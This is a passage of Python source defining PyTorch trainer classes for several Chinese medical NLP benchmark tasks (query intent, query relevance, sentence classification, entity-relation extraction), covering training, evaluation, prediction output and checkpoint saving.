inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) if args.model_type == 'zen': logits = outputs else: logits = outputs[0] if preds is None: preds = logits.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) pbar(step=step, info="") preds = np.argmax(preds, axis=1) sts_commit_prediction(dataset=test_dataset, preds=preds, output_dir=args.result_output_dir, id2label=self.data_processor.id2label) return preds def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels) if self.args.model_type == 'zen': save_zen_model(self.args.output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(self.args.output_dir) torch.save(self.args, os.path.join(self.args.output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=self.args.output_dir) self.logger.info('Saving models checkpoint to %s', self.args.output_dir) class QICTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(QICTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() text1 = item[0] labels = item[1].to(self.args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, padding='max_length', max_length=self.args.max_length, truncation=True, return_tensors='pt') if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) # default using 'Transformers' library models. outputs = model(labels=labels, **inputs) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() text1 = item[0] labels = item[1].to(args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(labels=labels, **inputs) loss, logits = outputs[:2] if preds is None: preds = logits.detach().cpu().numpy() eval_labels = labels.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, labels.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) acc = qic_metric(preds, eval_labels) logger.info("%s-%s acc: %s", args.task_name, args.model_name, acc) return acc def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Prediction') for step, item in enumerate(test_dataloader): model.eval() text1 = item if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) if self.args.model_type == 'zen': logits = outputs else: logits = outputs[0] if preds is None: preds = logits.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) pbar(step=step, info="") preds = np.argmax(preds, axis=1) qic_commit_prediction(dataset=test_dataset, preds=preds, output_dir=args.result_output_dir, id2label=self.data_processor.id2label) return preds def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels) if self.args.model_type == 'zen': save_zen_model(self.args.output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(self.args.output_dir) torch.save(self.args, os.path.join(self.args.output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=self.args.output_dir) self.logger.info('Saving models checkpoint to %s', self.args.output_dir) class QQRTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(QQRTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() text1 = item[0] text2 = item[1] labels = item[2].to(self.args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) # default using 'Transformers' library models. outputs = model(labels=labels, **inputs) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() text1 = item[0] text2 = item[1] labels = item[2].to(args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(labels=labels, **inputs) loss, logits = outputs[:2] if preds is None: preds = logits.detach().cpu().numpy() eval_labels = labels.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, labels.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) acc = qqr_metric(preds, eval_labels) logger.info("%s-%s acc: %s", args.task_name, args.model_name, acc) return acc def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Prediction') for step, item in enumerate(test_dataloader): model.eval() text1 = item[0] text2 = item[1] if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) if self.args.model_type == 'zen': logits = outputs else: logits = outputs[0] if preds is None: preds = logits.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) pbar(step=step, info="") preds = np.argmax(preds, axis=1) qqr_commit_prediction(dataset=test_dataset, preds=preds, output_dir=args.result_output_dir, id2label=self.data_processor.id2label) def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels) if self.args.model_type == 'zen': save_zen_model(self.args.output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(self.args.output_dir) torch.save(self.args, os.path.join(self.args.output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=self.args.output_dir) self.logger.info('Saving models checkpoint to %s', self.args.output_dir) class QTRTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(QTRTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() text1 = item[0] text2 = item[1] labels = item[2].to(self.args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) # default using 'Transformers' library models. outputs = model(labels=labels, **inputs) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() text1 = item[0] text2 = item[1] labels = item[2].to(args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(labels=labels, **inputs) loss, logits = outputs[:2] if preds is None: preds = logits.detach().cpu().numpy() eval_labels = labels.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, labels.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) acc = qtr_metric(preds, eval_labels) logger.info("%s-%s acc: %s", args.task_name, args.model_name, acc) return acc def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Prediction') for step, item in enumerate(test_dataloader): model.eval() text1 = item[0] text2 = item[1] if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) if self.args.model_type == 'zen': logits = outputs else: logits = outputs[0] if preds is None: preds = logits.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) pbar(step=step, info="") preds = np.argmax(preds, axis=1) qtr_commit_prediction(dataset=test_dataset, preds=preds, output_dir=args.result_output_dir, id2label=self.data_processor.id2label) return preds def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels) if self.args.model_type == 'zen': save_zen_model(self.args.output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(self.args.output_dir) torch.save(self.args, os.path.join(self.args.output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=self.args.output_dir) self.logger.info('Saving models checkpoint to %s', self.args.output_dir) class CTCTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(CTCTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() input_ids = item[0].to(self.args.device) token_type_ids = item[1].to(self.args.device) attention_mask = item[2].to(self.args.device) labels = item[3].to(self.args.device) if self.args.model_type == 'zen': input_ngram_ids = item[4].to(self.args.device) ngram_attention_mask = item[5].to(self.args.device) ngram_token_type_ids = item[6].to(self.args.device) ngram_position_matrix = item[7].to(self.args.device) # default using 'Transformers' library models. if self.args.model_type == 'zen': outputs = model(input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, labels=labels, ngram_ids=input_ngram_ids, ngram_positions=ngram_position_matrix, ngram_attention_mask=ngram_attention_mask, ngram_token_type_ids=ngram_token_type_ids) else: outputs = model(labels=labels, input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() input_ids = item[0].to(self.args.device) token_type_ids = item[1].to(self.args.device) attention_mask = item[2].to(self.args.device) labels = item[3].to(self.args.device) if args.model_type == 'zen': input_ngram_ids = item[4].to(self.args.device) ngram_attention_mask = item[5].to(self.args.device) ngram_token_type_ids = item[6].to(self.args.device) ngram_position_matrix = item[7].to(self.args.device) with torch.no_grad(): if self.args.model_type == 'zen': outputs = model(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask, labels=labels, ngram_ids=input_ngram_ids, ngram_positions=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids, ngram_attention_mask=ngram_attention_mask) else: outputs = model(labels=labels, input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask) loss, logits = outputs[:2] if preds is None: preds = logits.detach().cpu().numpy() eval_labels = labels.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, labels.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) p, r, f1, _ = ctc_metric(preds, eval_labels) logger.info("%s-%s precision: %s - recall: %s - f1 score: %s", args.task_name, args.model_name, p, r, f1) return f1 def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Prediction') for step, item in enumerate(test_dataloader): model.eval() input_ids = item[0].to(self.args.device) token_type_ids = item[1].to(self.args.device) attention_mask = item[2].to(self.args.device) if args.model_type == 'zen': input_ngram_ids = item[3].to(self.args.device) ngram_attention_mask = item[4].to(self.args.device) ngram_token_type_ids = item[5].to(self.args.device) ngram_position_matrix = item[6].to(self.args.device) with torch.no_grad(): if self.args.model_type == 'zen': outputs = model(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask, ngram_ids=input_ngram_ids, ngram_positions=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids, ngram_attention_mask=ngram_attention_mask) else: outputs = model(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask) if args.model_type == 'zen': logits = outputs.detach() else: logits = outputs[0].detach() if preds is None: preds = logits.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) pbar(step=step, info="") preds = np.argmax(preds, axis=1) ctc_commit_prediction(dataset=test_dataset, preds=preds, output_dir=args.result_output_dir, id2label=self.data_processor.id2label) return preds def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels) if self.args.model_type == 'zen': save_zen_model(self.args.output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(self.args.output_dir) torch.save(self.args, os.path.join(self.args.output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=self.args.output_dir) self.logger.info('Saving models checkpoint to %s', self.args.output_dir) class ERTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(ERTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) self.loss_fn = nn.BCELoss() def training_step(self, model, item): model.train() if self.args.model_type == 'zen': input_ids, token_type_ids, attention_mask, sub_start_label, sub_end_label, obj_start_label, \ obj_end_label, input_ngram_ids, ngram_attention_mask, ngram_token_type_ids, ngram_position_matrix = item else: input_ids, token_type_ids, attention_mask, sub_start_label, sub_end_label, obj_start_label, obj_end_label = item input_ids = input_ids.to(self.args.device) token_type_ids = token_type_ids.to(self.args.device) attention_mask = attention_mask.to(self.args.device) sub_start_label = sub_start_label.to(self.args.device) sub_end_label = sub_end_label.to(self.args.device) obj_start_label = obj_start_label.to(self.args.device) obj_end_label = obj_end_label.to(self.args.device) if self.args.model_type == 'zen': input_ngram_ids = input_ngram_ids.to(self.args.device) ngram_token_type_ids = ngram_token_type_ids.to(self.args.device) ngram_attention_mask = ngram_attention_mask.to(self.args.device) ngram_position_matrix = ngram_position_matrix.to(self.args.device) if self.args.model_type == 'zen': sub_start_logits, sub_end_logits, obj_start_logits, obj_end_logits = model(input_ids, token_type_ids, attention_mask, input_ngram_ids=input_ngram_ids, ngram_attention_mask=ngram_attention_mask, ngram_position_matrix=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids) else: sub_start_logits, sub_end_logits, obj_start_logits, obj_end_logits = model(input_ids, token_type_ids, attention_mask) active_index = attention_mask.view(-1) == 1 sub_start_loss = self.cal_loss(sub_start_logits, sub_start_label, active_index) sub_end_loss = self.cal_loss(sub_end_logits, sub_end_label, active_index) obj_start_loss = self.cal_loss(obj_start_logits, obj_start_label, active_index) obj_end_loss = self.cal_loss(obj_end_logits, obj_end_label, active_index) loss = sub_start_loss + sub_end_loss + obj_start_loss + obj_end_loss loss.backward() return loss.detach() def cal_loss(self, logits, labels, active_index): active_labels = labels.view(-1)[active_index] active_logits = logits.view(-1)[active_index] return self.loss_fn(active_logits.float()[1:-1], active_labels.float()[1:-1]) def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) sub_start_preds = [] sub_end_preds = [] obj_start_preds = [] obj_end_preds = [] sub_start_trues = [] sub_end_trues = [] obj_start_trues = [] obj_end_trues = [] logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() if self.args.model_type == 'zen': input_ids, token_type_ids, attention_mask, sub_start_label, sub_end_label, obj_start_label, \ obj_end_label, input_ngram_ids, ngram_attention_mask, ngram_token_type_ids, ngram_position_matrix = item else: input_ids, token_type_ids, attention_mask, sub_start_label, sub_end_label, obj_start_label, obj_end_label = item input_ids = input_ids.to(self.args.device) token_type_ids = token_type_ids.to(self.args.device) attention_mask = attention_mask.to(self.args.device) sub_start_label = sub_start_label.to(self.args.device) sub_end_label = sub_end_label.to(self.args.device) obj_start_label = obj_start_label.to(self.args.device) obj_end_label = obj_end_label.to(self.args.device) if self.args.model_type == 'zen': input_ngram_ids = input_ngram_ids.to(self.args.device) ngram_token_type_ids = ngram_token_type_ids.to(self.args.device) ngram_attention_mask = ngram_attention_mask.to(self.args.device) ngram_position_matrix = ngram_position_matrix.to(self.args.device) with torch.no_grad(): if args.model_type == 'zen': sub_start_logits, sub_end_logits, obj_start_logits, obj_end_logits = model(input_ids, token_type_ids, attention_mask, input_ngram_ids=input_ngram_ids, ngram_attention_mask=ngram_attention_mask, ngram_position_matrix=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids) else: sub_start_logits, sub_end_logits, obj_start_logits, obj_end_logits = model(input_ids, token_type_ids, attention_mask) active_index = attention_mask.view(-1) == 1 sub_start_preds.extend((sub_start_logits.detach().view(-1) >= 0.5).cpu().long()[active_index]) sub_end_preds.extend((sub_end_logits.detach().view(-1) >= 0.5).cpu().long()[active_index]) obj_start_preds.extend((obj_start_logits.detach().view(-1) >= 0.5).cpu().long()[active_index]) obj_end_preds.extend((obj_end_logits.detach().view(-1) >= 0.5).cpu()[active_index]) sub_start_trues.extend(sub_start_label.detach().cpu().view(-1)[active_index].tolist()) sub_end_trues.extend(sub_end_label.detach().cpu().view(-1)[active_index].tolist()) obj_start_trues.extend(obj_start_label.detach().cpu().view(-1)[active_index].tolist()) obj_end_trues.extend(obj_end_label.detach().cpu().view(-1)[active_index].tolist()) s_start_p, s_start_r, s_start_f1, _ = er_metric(sub_start_preds, sub_start_trues) s_end_p, s_end_r, s_end_f1, _ = er_metric(sub_end_preds, sub_end_trues) o_start_p, o_start_r, o_start_f1, _ = er_metric(obj_start_preds, obj_start_trues) o_end_p, o_end_r, o_end_f1, _ = er_metric(obj_end_preds, obj_end_trues) f1 = (s_start_f1 + s_end_f1 + o_end_f1 + o_start_f1) / 4 logger.info("%s-%s f1 score: %s", args.task_name, args.model_name, f1) return f1 def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset, batch_size=1) num_examples = len(test_dataloader.dataset) model.to(args.device) logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) with open(os.path.join(args.output_dir, 'CMeIE_test.json'), 'w', encoding='utf-8') as f: for step, item in enumerate(test_dataloader): model.eval() if args.model_type == 'zen': input_ids, token_type_ids, attention_mask, input_ngram_ids, ngram_attention_mask, ngram_token_type_ids, ngram_position_matrix = item else: input_ids, token_type_ids, attention_mask = item input_ids = input_ids.to(self.args.device) token_type_ids = token_type_ids.to(self.args.device) attention_mask = attention_mask.to(self.args.device) if self.args.model_type == 'zen': input_ngram_ids = input_ngram_ids.to(self.args.device) ngram_token_type_ids = ngram_token_type_ids.to(self.args.device) ngram_attention_mask = ngram_attention_mask.to(self.args.device) ngram_position_matrix = ngram_position_matrix.to(self.args.device) with torch.no_grad(): if args.model_type == 'zen': sub_start_logits, sub_end_logits, obj_start_logits, obj_end_logits = model(input_ids, token_type_ids, attention_mask, input_ngram_ids=input_ngram_ids, ngram_attention_mask=ngram_attention_mask, ngram_position_matrix=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids) else: sub_start_logits, sub_end_logits, obj_start_logits, obj_end_logits = model(input_ids, token_type_ids, attention_mask) text = test_dataset.texts[step] text_start_id, text_end_id = 1, attention_mask.sum().int().item() # end+1 text_mapping = TokenRematch().rematch(text, self.tokenizer.tokenize(text)) sub_arg_list = self.data_processor.extract_arg(sub_start_logits.view(-1), sub_end_logits.view(-1), text_start_id, text_end_id, text, text_mapping) obj_arg_list = self.data_processor.extract_arg(obj_start_logits.view(-1), obj_end_logits.view(-1), text_start_id, text_end_id, text, text_mapping) result = {'text': text, 'sub_list': sub_arg_list, 'obj_list': obj_arg_list} json_data = json.dumps(result, ensure_ascii=False) f.write(json_data + '\n') def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) torch.save(model.state_dict(), os.path.join(output_dir, 'pytorch_model.pt')) self.logger.info('Saving models checkpoint to %s', output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model.encoder, self.tokenizer, self.ngram_dict, 